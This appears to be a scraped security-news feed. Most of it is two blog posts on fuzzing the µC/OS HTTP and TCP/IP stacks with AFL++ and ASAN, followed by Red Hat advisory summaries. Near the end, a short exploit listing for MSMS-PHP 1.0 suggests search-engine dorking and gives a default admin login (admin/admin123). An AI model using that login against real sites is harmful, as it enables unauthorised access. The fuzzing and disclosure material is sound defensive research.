Any vulnerability in an RTOS has the potential to affect many devices across multiple industries.

Wednesday, August 28, 2024 12:00

This is the first post of a three-part series, where we will be delving into the intricacies of fuzzing µC/OS protocol stacks. The techniques I will discuss are universally applicable to various RTOS environments, though our focus will primarily be on µC/OS. 

I’ll highlight some of the strategic code modifications I implemented across different µC/OS components. The objective is to streamline the process of developing a fuzzing harness tailored for the µC/HTTP-server. In the second installment of this series, I’ll discuss a technique that I used for delivering multiple requests per fuzz test case. The third post will be like this one, as I’ll describe the code modifications that I made with the aim of fuzzing the µC/TCP-IP stack.

For a bit of context, µC/OS is an RTOS, or “Real-Time Operating System.” An RTOS is a specialized operating system designed to manage hardware resources and host applications that need to run in systems where timing is critical, such as in embedded systems, medical devices, or industrial controls. RTOSes haven’t been fuzzed as thoroughly as software that runs on desktop operating systems, primarily due to the complexities associated with setting up a fuzzing harness for these systems. 

Developing a harness for an RTOS requires more coding effort than what is typically required for a straightforward, single-line fuzzing harness used with desktop applications or libraries. 

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries. It’s important to put these codebases through the same rigorous testing as is common for desktop operating systems. My hope is that the techniques described in this blog post series will encourage more widespread use of fuzzing of RTOS software components. 

Historically fuzzing RTOS code involved a custom hardware setup to fuzz the code in its native environment, or fuzzing on an emulated version of the system. However, when Weston Embedded made the full µC/OS source code openly available in 2020, it sparked my curiosity about whether there could be a less complex approach to fuzz this type of code.

The goals for my fuzzer are:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case (more on this in part 2).

Additionally, the constraints (self-imposed) for my HTTP fuzzer are:

*   A software-only solution.
*   Run natively on Linux.

With that in mind, I wanted to avoid using emulation or dedicated hardware for my fuzzer.

**Linux port**

To make use of a modern fuzzing framework like AFL++, I needed to write some code that would allow the µC/HTTP-server to operate on Linux instead of the native µC/OS kernel. However, I had to give some thought to what exactly I wanted my fuzzer to target and determine appropriate insertion points for my hooks that would enable this protocol implementation to run on Linux.

Below is a basic architecture diagram showing the software component structure of a µC/HTTP-server application. The blue highlight represents the components that I will be modifying to port the application to Linux. The orange highlight represents the code which is the target for the fuzzer.

The modular design of µC/OS makes it wonderful to work with for this type of fuzzing. The Kernel Abstraction Layer (KAL in the diagram) provides a common API that is utilized by each of their libraries. This makes it easy to create a custom KAL that either mimics the desired RTOS functionalities for my fuzzer or simply returns a success signal for features that aren't relevant to the fuzzing process. Although µC/OS provides a POSIX-compatible KAL that enables the µC/HTTP-server to run on Linux, I chose to create my own KAL interface to simplify the entire setup. 

The KAL lays out an API blueprint for operating system components like task management, locks, semaphores, timers, and message queues. In the case of µC/HTTP-server, the only KAL function it calls is KAL_TaskCreate, which means I only needed to implement this particular function in my custom KAL interface. Additionally, since the task in question is the main HTTP processing loop, I found a workaround by directly invoking the function itself within the KAL_TaskCreate function, bypassing the need for a more complex task creation process. Example code below:

    void  KAL_TaskCreate (KAL_TASK_HANDLE     task_handle,
                          void              (*p_fnct)(void  *p_arg),
                          void               *p_task_arg,
                          CPU_INT08U          prio,
                          KAL_TASK_EXT_CFG   *p_cfg,
                          RTOS_ERR           *p_err)
    {
        /* return success  */
        *p_err = RTOS_ERR_NONE;
        /* fake it and call the function */
        p_fnct(p_task_arg);
        return;
    }

**Networking port****Socket reads**

Much like the Linux port mentioned earlier, there is a network abstraction called NetSock within µC/OS's TCP/IP protocol suite which is like a POSIX socket in its functionality. For the purposes of this fuzzing project, my attention isn't on probing the underlying TCP/IP stack; instead, I'm focused on the µC/HTTP-server code. To ensure that the fuzzing input is fed directly to the µC/HTTP-server code without first passing through the TCP/IP code, I created a custom NetSock implementation. 

My ultimate goal for this fuzzer is to read network data from a file. However, it will simplify the testing and debugging process to use existing tools to send real network traffic to my application. Once my µC/HTTP-server application is working enough to load a web page in a browser, it shouldn’t be too difficult to redirect protocol data from a file. 

I decided to implement a NetSock to POSIX socket port. All that was required to do that was to call the POSIX counterpart within the NetSock API and return an appropriate µC/OS error code. Below is example code demonstrating receiving data from a socket:

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        *p_err = NET_SOCK_ERR_NONE;
        ssize_t recvLen = 0;
        recvLen = recv(sock_id, p_data_buf, data_buf_len, 0);
        if (recvLen < 0)
        {
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
        }
        else if (recvLen == 0)
        {
            *p_err = NET_SOCK_ERR_RX_Q_EMPTY;
        }
        return recvLen;
    }
    

I then repeated this process for each of the NetSock_\* functions. I used the correct NetSock_\* function signature, called the corresponding POSIX socket function call and then returned an error code that was of the type NET_SOCK_RTN_CODE.

**File reads**

With my µC/HTTP-server application now properly responding to HTTP requests, the next step was to set it up for fuzzing by having the NetSock code read from a file instead of a real POSIX socket. There are a few different options of how to achieve reading from a file. The first is using a tool called libdesock. The way that file redirection works with this tool is that the library gets loaded by the Linux linker before other libraries by using LD_PRELOAD. This allows the libdesock library to intercept POSIX socket calls and redirect them to stdin and stdout. 

Since I was already well acquainted with modifying the NetSock code, another simple approach is to read from a file instead of calling recv within NetSock. To implement this, my µC/HTTP-server application takes a file name as an argument and stores a file pointer to that file in a global variable named curr_inputfd. Below is an example of “receiving” data from a file: 

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        ssize_t totalLen = 0;
    
        *p_err = NET_SOCK_ERR_NONE;
    
        totalLen = read(curr_inputfd, (char*)p_data_buf, data_buf_len);
    
        if (0 > totalLen)
        {
            /* return an error */
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
            
        }
        else if (0 == totalLen)
        {
            /* we've read the whole file and we can leave*/
            *p_err = NET_SOCK_ERR_CLOSED;
        }
    
        return totalLen;
    }
    

It is important to note that the above code returns an error when the end of the file (EOF) is reached. This happens because NetSock_RxData is invoked within a processing loop, and the error serves as an indicator to the caller that this "socket" has been closed.

When fuzzing an application, it is crucial for the fuzzer to differentiate between a clean exit (normal program termination) and a crash. Additionally, the program should terminate after processing the fuzzed input. Therefore, I needed to make another code modification for fuzzing purposes, ensuring that the program exits after the file has been read and processed, resulting in a "normal" termination. 

Without this modification, the application would continue running in a processing loop, causing the fuzzer to mistakenly count this as a hang rather than a normal program termination, leading to false-positives for hangs.

By placing the exit in this location, it will be called during the typical execution flow of closing a connection. And, as noted above, when the error code NET_SOCK_ERR_CLOSED is returned from NetSock_RxData, it triggers the HTTPsConn_Close function, which subsequently terminates the program's execution.

**Memory errors**

A major benefit of porting my µC/HTTP-server application to run natively on Linux is that I can compile my application with AddressSanitizer. AddressSanitizer, or ASAN, is a compiler feature in GCC and Clang that can detect memory errors in C/C++. 

This can be a very valuable tool when used in conjunction with fuzzing to reveal software vulnerabilities. When ASAN is enabled, the application will crash when a memory error is encountered. 

Things like use after free, NULL pointer dereference, and buffer overruns will cause an immediate crash even if the test input would not have normally crashed the program. When ASAN causes a program to crash, it’s like an alarm bell going off for a vulnerability researcher (**“**Look over here, there are problems in this section of code!**”**). I wanted to use ASAN when running my fuzzer, but it didn’t work straight away for heap memory in my µC/HTTP-server application. This is because µC/OS provides its own heap implementation. 

ASAN works by tracking heap memory allocations made with glibc malloc, but my application doesn’t use malloc at all. The simplest solution that I produced was to add preprocessor macros to detect when the application was being compiled with ASAN and redirect the allocation to glibc malloc. Here’s an example of what I mean:

    void  *Mem_DynPoolBlkGet (MEM_DYN_POOL  *p_pool,
                              LIB_ERR       *p_err)
    {
    #ifdef __SANITIZE_ADDRESS__
        p_blk = malloc(p_pool->BlkSize);
        if (NULL == p_blk)
        {
            *p_err = LIB_MEM_ERR_POOL_EMPTY;
            return(DEF_NULL);
        }
        else
        {
            *p_err = LIB_MEM_ERR_NONE;
        }
        return (p_blk);
    
    #endif /*__SANITIZE_ADDRESS__*/

µC/OS provides developers the capability to define constraints on the heap's location and utilization with its specialized heap allocator. This feature is particularly useful in systems with limited memory, where developers require fine-tuned control over memory allocation. However, since my application is running on Linux, I'm not constrained by memory limitations, and I have access to the standard glibc malloc function. Simply calling malloc within Mem_DynPoolBlkGet  works because the caller of Mem_DynPoolBlkGet doesn’t care about the specific memory location of the pointer that's returned. Rather, it expects the pointer to reference a chunk of memory that's ready for use and meets the minimum size requirement. By making this minor adjustment to the code, I enabled the Address Sanitizer (ASAN) features I wanted, without affecting the rest of the application's functionality.

**Vulnerability highlight**

To this point, we’ve made strategic modifications to µC/OS code, creating a software-only fuzzing solution capable of running natively on Linux and accepting input from a file. The approach we discussed here has proven its efficacy by uncovering five unique vulnerabilities: TALOS-2023-1725 (CVE-2023-24585), TALOS-2023-1733 (CVE-2023-27882), TALOS-2023-1738 (CVE-2023-28379), TALOS-2023-1746 (CVE-2023-31247) and TALOS-2023-1843 (CVE-2023-45318).

When disclosing these vulnerabilities, I discovered that much of the µC/HTTP-server codebase is shared across multiple products. Other affected products are the Silicon Labs Gecko Platform and Weston Embedded Cesium NET. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

The next installment of this series will describe the complexities of handling multiple requests per test case — an enhancement that holds the potential to reveal even more vulnerabilities.

Fuzzing µC/OS protocol stacks, Part 1: HTTP server fuzzing

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server.

Wednesday, August 28, 2024 12:00

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server. 

The first post highlighted code modifications necessary for developing a fuzzing harness tailored for the µC/HTTP-server. The second discussed a technique for delivering multiple requests per fuzz test case. Finally, I’ll detail the code modifications required for fuzzing the µC/TCP-IP stack. Please refer to the first post in the series for a description of Real-Time Operating Systems (RTOS) and the motivations for this research project. 

My goals in fuzzing µC/TCP-IP are the same as for µC/HTTP-server:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case.

Self-imposed constraints:

*   A software-only solution.
*   Run natively on Linux.

I wanted to find a straightforward way to fuzz this code without relying on emulation or dedicated hardware. 

**Linux port**

To utilize the AFL++ fuzzing framework, this code must run on Linux rather than µC/OS. This is a similar challenge I faced in Part 1. This time, however, I opted to use the POSIX KAL implementation that µC/OS provided rather than develop my own. This architecture diagram shows the layout of the various software components of µC/OS. The blue highlight represents the components I will be modifying to port the application to Linux. The orange highlight represents the code that’s the fuzzer’s target.

With my µC/HTTP-server fuzzing harness, I decided against using the provided POSIX KAL implementation. The µC/HTTP-server code I was targeting did not use many of the OS components, so it was simple to implement my own minimalist KAL interface. In contrast, the µC/TCP-IP implementation uses a separate task for receiving data and uses semaphores and message queues requiring a more complete KAL implementation. 

Using the code provided by µC/OS felt like taking a shortcut. It was painless and worked right out of the box with only minor modifications. That’s not something that I can say for working with the networking side of things, which required a lot of development.

**Network port ****TAP device**

My primary goal for the fuzzer is to enable it to accept network data from a file. To start, I adopted the strategy I used for my µC/HTTP-server, which involves ensuring my program functions with actual network data. Doing this initially allows for more straightforward debugging and testing of my code, as I can use standard Linux utilities to send real network traffic to my program.

It was a bit more complicated to get data from the network to be processed by µC/TCP-IP than it was for µC/HTTP-server. This is because TCP/IP is a lower-level protocol than HTTP. HTTP is an application layer protocol while TCP/IP is a transport layer protocol. Typically, user mode applications interact with the network at the application layer via POSIX sockets or a NetSock for µC/OS. 

In Linux, when using sockets, the kernel manages the TCP/IP processing and only delivers application layer data to the user mode application. However, my challenge was that my user mode µC/TCP-IP application is intended to handle the TCP/IP protocol itself. To bypass the kernel’s TCP/IP stack, I utilized a TAP device — a purely software-based kernel virtual network device.

Although this module is called µC/TCP-IP, it actually covers multiple layers of the OSI model. The layers circled in orange indicate layers of the OSI model for which the µC/TCP-IP module will process:

The µC/TCP-IP code is expecting to receive an Ethernet frame, and it includes handlers for ARP, IP, TCP and UDP. Because µC/TCP-IP is expecting to receive Ethernet frames, a TAP device should be used because it transfers Ethernet frames unlike a TUN device which transfers IP packets. 

A TAP device is meant to be used by user space programs that attach to it. When the operating system sends packets to a TAP device, they are delivered to the attached user space program. Conversely, packets sent by the user-space program to the TAP device are injected into the kernel network stack as if they originated from an external source.

To use a TAP device, I wrote my own Ethernet device driver using the API provided by µC/TCP-IP. I needed to create and configure my TAP device with the driver and implement functions to transmit and receive data. Again, µC/OS was great to work with for this because their API was well-defined and documented. Additionally, there are dozens of device drivers in the µC/TCP-IP repository for various ethernet hardware. Having all this example code and documentation was immensely helpful. In implementing this, I used the open-source tapip utility as a guide for creating and configuring a TAP device within my µC/TCP-IP Ethernet driver.  

The most confusing part of this was visualizing the network topology involving the TAP device. I created and assigned the TAP device an IP address of 10.10.10.1 and the Linux kernel assigned it a MAC address of 46:31:92:b0:48:5b. For remote communication, I'd need to create a network bridge, but for testing, local communication is adequate. The TAP device that I created is given the name tap0 and even shows up when running ifconfig: 

I also needed to assign my µC/TCP-IP application its own MAC and IP addresses, effectively creating another virtual Ethernet device. This adds a layer of complexity, as it's a virtual ethernet device operating through another virtual Ethernet device. Within the µC/TCP-IP application I've set up a virtual Ethernet device with an IP address of 10.10.10.64 and a MAC address of 12:12:12:34:34:34. This setup is a bit confusing because it's not externally visible in the Linux system — it's exclusive to the µC/TCP-IP application, as if the application were running on a separate machine, with the tap interface acting as the link between the Linux host and the µC/TCP-IP application.

To validate the functionality of µC/TCP-IP, I developed an echo server running on port 10001. To test my setup, I used the Linux utility netcat to establish a TCP connection to the µC/TCP-IP application. When traffic is sent from a linux application using tap0 and the mac or ip address of the µC/TCP-IP virtual interface is provided, it will be processed by my application. To send a test message and establish a TCP connection, I could execute a netcat command such as echo 'test' | nc -N 10.10.10.64 10001. Here, the netcat tool operates through a socket connected to the tap0 interface. This socket uses the Linux kernel TCP/IP stack which will first send an ARP request from tap0’s address to broadcast to learn the corresponding MAC address for that IP address. Then, the µC/TCP-IP application will receive that broadcast message, process the request, and respond with its own MAC/IP address pair. Then, a TCP connection will be initiated using the MAC/IP address pair of the µC/TCP-IP application. The image below was captured using Wireshark attached to the tap0 interface. 

The µC/TCP-IP application is not using sockets when interacting with the tap0 interface, instead, it uses a file descriptor to directly read from and write the device. The result is that the µC/TCP-IP application is writing packet data directly to the network without modification. The diagram below shows how each of these components work together to establish the TCP connection shown above. 

**File reads**

At this point, I’ve confirmed that my µC/TCP-IP echo server works using netcat. The next step for fuzzing is to modify the Ethernet driver to read from a file instead of the TAP device. Although my Ethernet driver isn’t using sockets, it is still possible to use libdesock because it overrides the read and write from libc. However, this required some code modifications in addition to using LD_PRELOAD with libdesock. First, I needed to create a socket descriptor that libdesock would redirect to stdin. Since the µC/TCP-IP application does not use sockets when interacting with the tap0 interface, I had to utilize a libdesock debug function, _debug_instant_fd, which provides a file descriptor that is automatically redirected to stdin. 

Typically, libdesock would redirect a file descriptor when accept is called, but since this is happening at a lower level, I needed to use the file descriptor that libdesock provided with the call to _debug_instant_fd. I used a compile time flag to create this libdesock file descriptor instead of creating a tap device for my fuzzing build:

    #ifdef DESOCK_FUZZ
        /* calling _debug_instant_fd for libdesock */
        fd = _debug_instant_fd(0);
        p_dev_data->tunFd = fd;
    #else
        /* Create TAP device */
    

Then, I needed to add code to terminate the µC/TCP-IP echo server once the last request was read from the file.

           ret = read(p_dev_data->tunFd, p_dev_data->RxDataPtr, p_dev_data->rxSize);
    …
    #ifdef DESOCK_FUZZ
            } else if (0 == ret)
            {
                exit(0);
            }
    #else
    	/* Continue processing */

After those code modifications, when we use LD_PRELOAD with libdesock, our application will read request data from stdin. By utilizing libdesock I immediately gained support for handling multiple requests because of that added feature. For more information on how libdesock works, refer to Post 2 from this series. 

**Memory errors**

I wanted to use Address Sanitizer (ASAN) with my fuzz application, as it is designed to detect many different types of memory errors like use after free, NULL pointer dereference and buffer overruns. The heap implementation used by µC/TCP-IP is different from that of µC/HTTP-server, but I was able to employ the same technique that I described in Post 1 from this series.

**Vulnerability highlight**

Now, we've successfully adapted the µC/TCP-IP code to develop a fuzzing solution that operates solely in software, is native to Linux, and can process inputs from a file. The approach we discussed here uncovered two unique vulnerabilities: TALOS-2023-1828 and TALOS-2023-1829. One of which is a result of fuzzing multiple requests at a time.

When disclosing these vulnerabilities, I discovered that much of the µC/TCP-IP codebase is shared across multiple products. Silicon Labs Gecko Platform is also affected by TALOS-2023-1828. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 116:2 and 116:151.

**Conclusion **

Thank you for following along in this series about fuzzing µCOS protocol stacks. To recap, we created software-only fuzzing solutions for fuzzing µC/HTTP-server and µC/TCP-IP. The fuzzing solutions discussed here include the ability to run natively on Linux and accept input from a file. We also covered a feature contribution to libdesock which allows for multiple requests to be processed by the application in a single test case, resulting in more complex vulnerability findings. My hope is that the techniques described in this series will encourage others to fuzz other RTOS platforms to make these important systems more secure.

Below is a list of vulnerabilities that were disclosed because of this research presented in this blog series:

*   TALOS-2023-1725: Out-of-bounds write vulnerability
*   TALOS-2023-1726: Buffer overflow vulnerability
*   TALOS-2023-1732: Memory corruption vulnerability
*   TALOS-2023-1733: Heap-based buffer overflow vulnerability
*   TALOS-2023-1738: Memory corruption vulnerability
*   TALOS-2023-1746: Memory corruption vulnerability
*   TALOS-2023-1828: Denail of service vulnerability
*   TALOS-2023-1829: Double-free vulnerability
*   TALOS-2023-1843: Heap-based buffer overflow vulnerability

The following is a list of Snort rules that will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908, 119:203:1, 119:282:1, 116:2 and 116:151. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Fuzzing µC/OS protocol stacks, Part 3: TCP/IP server fuzzing, implementing a TAP driver

Red Hat Security Advisory 2024-5930-03 - An update for bind is now available for Red Hat Enterprise Linux 7 Extended Lifecycle Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5930.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: bind security updateAdvisory ID:        RHSA-2024:5930-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:5930Issue date:         2024-08-28Revision:           03CVE Names:          CVE-2024-1737====================================================================Summary: An update for bind is now available for Red Hat Enterprise Linux 7 Extended Lifecycle Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-1737References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2298893https://bugzilla.redhat.com/show_bug.cgi?id=2298901

Red Hat Security Advisory 2024-5930-03

Red Hat Security Advisory 2024-5929-03 - An update for the postgresql:16 module is now available for Red Hat Enterprise Linux 9.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5929.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: postgresql:16 security updateAdvisory ID:        RHSA-2024:5929-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:5929Issue date:         2024-08-28Revision:           03CVE Names:          CVE-2024-4317====================================================================Summary: An update for the postgresql:16 module is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:PostgreSQL is an advanced object-relational database management system (DBMS).Security Fix(es):* postgresql: PostgreSQL pg_stats_ext and pg_stats_ext_exprs lack authorization checks (CVE-2024-4317)* postgresql: PostgreSQL relation replacement during pg_dump executes arbitrary SQL (CVE-2024-7348)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-4317References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2279935

Red Hat Security Advisory 2024-5929-03

Red Hat Security Advisory 2024-5908-03 - An update for bind is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5908.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: bind security updateAdvisory ID:        RHSA-2024:5908-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:5908Issue date:         2024-08-28Revision:           03CVE Names:          CVE-2024-1737====================================================================Summary: An update for bind is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.Security Fix(es):* bind: bind9: BIND's database will be slow if a very large number of RRs exist at the same nam (CVE-2024-1737)* bind9: bind: SIG(0) can be used to exhaust CPU resources (CVE-2024-1975)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-1737References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2298893https://bugzilla.redhat.com/show_bug.cgi?id=2298901

Red Hat Security Advisory 2024-5908-03

Red Hat Security Advisory 2024-5907-03 - An update for bind and bind-dyndb-ldap is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5907.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: bind and bind-dyndb-ldap security update  
Advisory ID:        RHSA-2024:5907-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:5907  
Issue date:         2024-08-28  
Revision:           03  
CVE Names:          CVE-2024-1737  
====================================================================

Summary: 

An update for bind and bind-dyndb-ldap is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The Berkeley Internet Name Domain (BIND) is an implementation of the Domain Name System (DNS) protocols. BIND includes a DNS server (named); a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating correctly.

Security Fix(es):

* bind: bind9: BIND's database will be slow if a very large number of RRs exist at the same nam (CVE-2024-1737)

* bind9: bind: SIG(0) can be used to exhaust CPU resources (CVE-2024-1975)

* bind: bind9: Assertion failure when serving both stale cache data and authoritative zone content (CVE-2024-4076)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-1737

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2298893  
https://bugzilla.redhat.com/show_bug.cgi?id=2298901  
https://bugzilla.redhat.com/show_bug.cgi?id=2298904

Red Hat Security Advisory 2024-5907-03

MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

**MSMS-PHP 1.0 Insecure Settings**

Posted Aug 28, 2024

Authored by indoushka

MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit, php

SHA-256 | 901a66e3533b07e82bfa171f76797bfe6f506ccd295fb4c073fbbd2ad85576ea

Download | Favorite | View

**MSMS-PHP 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : MSMS-PHP v1.0 Insecure Settings Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,567)
*   Arbitrary (16,906)
*   BBS (2,859)
*   Bypass (1,878)
*   CGI (1,034)
*   Code Execution (7,840)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,412)
*   DoS (25,123)
*   Encryption (2,389)
*   Exploit (53,308)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,242)
*   Local (14,808)
*   Magazine (587)
*   Overflow (13,178)
*   Perl (1,435)
*   PHP (5,227)
*   Proof of Concept (2,396)
*   Protocol (3,731)
*   Python (1,648)
*   Remote (31,704)
*   Root (3,639)
*   Rootkit (528)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,031)
*   Shell (3,281)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,279)
*   SQL Injection (16,629)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,023)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,267)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,919)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,636)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,782)
*   UNIX (9,441)
*   UnixWare (187)
*   Windows (6,677)
*   Other

MSMS-PHP 1.0 Insecure Settings

Red Hat Security Advisory 2024-5906-03 - An update for squid is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include denial of service and out of bounds write vulnerabilities.

